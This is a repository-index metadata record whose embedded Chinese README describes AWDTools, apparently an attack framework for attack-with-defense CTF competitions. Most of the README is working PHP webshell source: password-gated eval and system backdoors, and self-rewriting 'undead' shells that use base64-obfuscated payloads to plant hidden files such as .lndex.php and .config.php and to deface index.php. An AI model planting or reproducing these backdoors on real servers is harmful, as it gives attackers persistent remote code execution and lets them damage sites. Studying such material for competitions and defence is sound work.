{"id":13845261,"url":"https://github.com/H3rmesk1t/AWDTools","last_synced_at":"2025-07-12T01:32:24.574Z","repository":{"id":38376373,"uuid":"435440505","full_name":"H3rmesk1t/AWDTools","owner":"H3rmesk1t","description":"一个简易的AWD攻击框架，希望对于该项目大家有更好的建议和改进！","archived":false,"fork":false,"pushed_at":"2022-06-06T03:01:08.000Z","size":68,"stargazers_count":16,"open_issues_count":0,"forks_count":4,"subscribers_count":2,"default_branch":"main","last_synced_at":"2024-08-05T17:44:09.413Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/H3rmesk1t.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2021-12-06T09:47:21.000Z","updated_at":"2024-05-08T03:46:07.000Z","dependencies_parsed_at":"2022-08-25T02:11:58.486Z","dependency_job_id":null,"html_url":"https://github.com/H3rmesk1t/AWDTools","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/H3rmesk1t%2FAWDTools","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/H3rmesk1t%2FAWDTools/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/H3rmesk1t%2FAWDTools/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/H3rmesk1t%2FAWDTools/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/H3rmesk1t","download_url":"https://codeload.github.com/H3rmesk1t/AWDTools/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225784339,"owners_count":17523622,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T17:03:18.014Z","updated_at":"2024-11-21T18:30:58.244Z","avatar_url":"https://github.com/H3rmesk1t.png","language":"Python","funding_links":[],"categories":["Python"],"sub_categories":[],"readme":"# AWDTools 说明\n\n## V1.0.0\n| Python版本 | 适用语言 | 版本   | 最近更新时间 |\n| :----------: | :--------: | :------: | :------------: |\n| 3.8+       | php      | V1.0.0 | 2021.12.13    |\n\n## 使用\n\n\u003e 安装所需第三方库\n```\npip install -r requirements.txt\n```\n\u003e 运行命令\n```\npython main.py\n```\n\n## 功能\n### 命令执行\n\u003e 根据一句话木马后门或者已种后门马来填写攻击`WebShell`来进行攻击\n\n### 木马种植\n\u003e 根据一句话木马后门或者已种后门马来填写种马`WebShell`来进行种马\n\n### 文件读取\n\u003e 根据一句话木马后门或者已种后门马来填写文件读取`WebShell`来读取文件\n\n### 目标扫描\n\u003e 还未开发\n\n### 定时攻击\n\u003e 还未开发\n\n## 木马描述\n\u003e 双层`MD5`的`D1noH3rmesk1t`的值为：`ddbaedeb6010fcd8df373dd723ff6920`\n\n### common_horse_1\n```php\n\u003c?php\n    if (md5(md5($_GET['h3']))=='ddbaedeb6010fcd8df373dd723ff6920') {\n        @eval($_POST['d1no']);\n    }\n?\u003e\n```\n\n### common_horse_2\n```php\n\u003c?php\n    if (md5(md5($_GET['h3']))=='ddbaedeb6010fcd8df373dd723ff6920') {\n        @system($_POST['d1no']);\n    }\n?\u003e\n```\n\n### undead_horse_1\n\u003e 命令执行不死马\n\n```php\n\u003c?php\n    ignore_user_abort(True);\n    set_time_limit(0);\n    unlink(0);\n    $file='/var/www/html/public/lndex.php';\n    $code='PD9waHAKICAgIGlmIChtZDUobWQ1KCRfR0VUWydoMyddKSk9PSdkZGJhZWRlYjYwMTBmY2Q4ZGYzNzNkZDcyM2ZmNjkyMCcpIHsKICAgICAgICBmaWx0ZXJfdmFyX2FycmF5KGFycmF5KCJ0ZXN0Ij0+JF9QT1NUWyJkMW5vIl0pLGFycmF5KCJ0ZXN0Ij0+YXJyYXkoImZpbHRlciI9PkZJTFRFUl9DQUxMQkFDSywib3B0aW9ucyI9PiJldmFsIikpKTsKICAgIH0KICAgIEBzeXN0ZW0oJ2VjaG8gIkhhY2tlZCBieSBIM3JtZXNrMXQuIiA+IC92YXIvd3d3L2h0bWwvcHVibGljL2luZGV4LnBocCcpOwo/Pg==';\n    while (1) {\n        file_put_contents($file, base64_decode($code));\n        usleep(10);\n    }\n?\u003e\n```\n\u003e base64 内容\n\n```php\n\u003c?php\n    if (md5(md5($_GET['h3']))=='ddbaedeb6010fcd8df373dd723ff6920') {\n        filter_var_array(array(\"test\"=\u003e$_POST[\"d1no\"]),array(\"test\"=\u003earray(\"filter\"=\u003eFILTER_CALLBACK,\"options\"=\u003e\"eval\")));\n    }\n    @system('echo \"Hacked by H3rmesk1t.\" \u003e /var/www/html/public/index.php');\n?\u003e\n```\n\n### undead_horse_2\n\u003e 直接读取文件不死马\n\n```php\n\u003c?php \n    system('while true;do echo \"PD9waHAKICAgIGlmIChtZDUobWQ1KCRfR0VUWydoMyddKSk9PSdkZGJhZWRlYjYwMTBmY2Q4ZGYzNzNkZDcyM2ZmNjkyMCcpIHsKICAgICAgICBAZmlsZV9nZXRfY29udGVudHMoJy9mbGFnJyk7CiAgICAgICAgQGluY2x1ZGUoJy9mbGFnJyk7CiAgICAgICAgQHJlcXVpcmUoJy9mbGFnJyk7CiAgICB9Cj8+\" | base64 -d \u003e\u003e /var/www/html/.lndex.php;sleep 0.1;done;');\n?\u003e\n```\n\n\u003e base64 内容\n\n```php\n\u003c?php\n    if (md5(md5($_GET['h3']))=='ddbaedeb6010fcd8df373dd723ff6920') {\n        @file_get_contents('/flag');\n        @include('/flag');\n        @require('/flag');\n    }\n?\u003e\n```\n\n### undead_horse_3\n\u003e 追加文件写入\n\n```php\n\u003c?php\n    $file='/var/www/html/public/router.php'; // Must file exists\n    $code='PD9waHAgQHN5c3RlbSgnd2hpbGUgdHJ1ZTtkbyBlY2hvICJQejQ4UDNCb2NBb2dJQ0FnYVdZZ0tHMWtOU2h0WkRVb0pGOUhSVlJiSjJnekoxMHBLVDA5SjJSa1ltRmxaR1ZpTmpBeE1HWmpaRGhrWmpNM00yUmtOekl6Wm1ZMk9USXdKeWtnZXdvZ0lDQWdJQ0FnSUVCbGRtRnNLQ1JmVUU5VFZGc25aREZ1YnlkZEtUc0tJQ0FnSUgwS1B6ND0iIHwgYmFzZTY0IC1kID4+IC92YXIvd3d3L2h0bWwvcHVibGljLy5jb25maWcucGhwO3NsZWVwIDU7ZG9uZTsnKTs/Pg==';\n    file_put_contents($file, base64_decode($code), FILE_APPEND);\n?\u003e\n```\n\u003e base64 内容\n\n```php\n\u003c?php @system('while true;do echo \"Pz48P3BocAogICAgaWYgKG1kNShtZDUoJF9HRVRbJ2gzJ10pKT09J2RkYmFlZGViNjAxMGZjZDhkZjM3M2RkNzIzZmY2OTIwJykgewogICAgICAgIEBldmFsKCRfUE9TVFsnZDFubyddKTsKICAgIH0KPz4=\" | base64 -d \u003e\u003e /var/www/html/public/.config.php;sleep 5;done;');?\u003e\n```\n\u003e base64 内容\n\n```php\n?\u003e\u003c?php\n    if (md5(md5($_GET['h3']))=='ddbaedeb6010fcd8df373dd723ff6920') {\n        @eval($_POST['d1no']);\n    }\n?\u003e\n```\n\n### undead_horse_4\n\u003e 写入`.htaccess`或者`.user.ini`文件","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FH3rmesk1t%2FAWDTools","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FH3rmesk1t%2FAWDTools","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FH3rmesk1t%2FAWDTools/lists"}